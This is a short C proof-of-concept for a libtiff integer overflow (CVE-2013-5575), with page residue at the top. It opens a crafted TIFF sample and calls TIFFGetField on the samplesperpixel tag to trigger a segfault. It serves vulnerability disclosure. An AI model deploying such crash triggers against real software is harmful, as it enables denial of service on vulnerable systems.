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42 lines
No EOL
1,006 B
C
42 lines
No EOL
1,006 B
C
/*
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# Exploit Title: libtiff <= 3.9.5 Integer overflow bug poc
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# Date: 2013/08/25
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# Exploit Author: x90c
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# Vendor Homepage: http://www.remotesensing.org/libtiff
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# Version:
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- libtiff 3.9.5 <=
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# Tested on:
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- libtiff 4.0.3
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- libtiff 4.0.2
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- libtiff 4.0.1
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- libtiff 4.0.0 (safe)
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- libtiff 3.9.5 (vulnerable) <=
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- libtiff 3.6.0
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# CVE : CVE-2013-5575
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I submit the poc of libtiff bug and
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attached original advisory too
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I want to submit the poc, sample file only
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http://www.x90c.org/advisories/xadv_2013001_libtiff.txt
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*/
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#include <stdio.h>
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#include <stdlib.h>
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#include <string.h>
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#include "tiffio.h"
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int tiff_integer_overflow_test(){
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TIFF* tif = TIFFOpen("/home/x90c/sample_spp.tif", "r");
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int samples = 0;
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/*
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* for instance, TIFFGetField library function will
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* called with malicious samplesperpixel field value
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* TIFFGetField got segfault!
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*/
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TIFFGetField(tif, TIFFTAG_SAMPLESPERPIXEL, &samples);
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printf("tiff_poc: tif samplesperpixel field=%d\n", samples);
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} |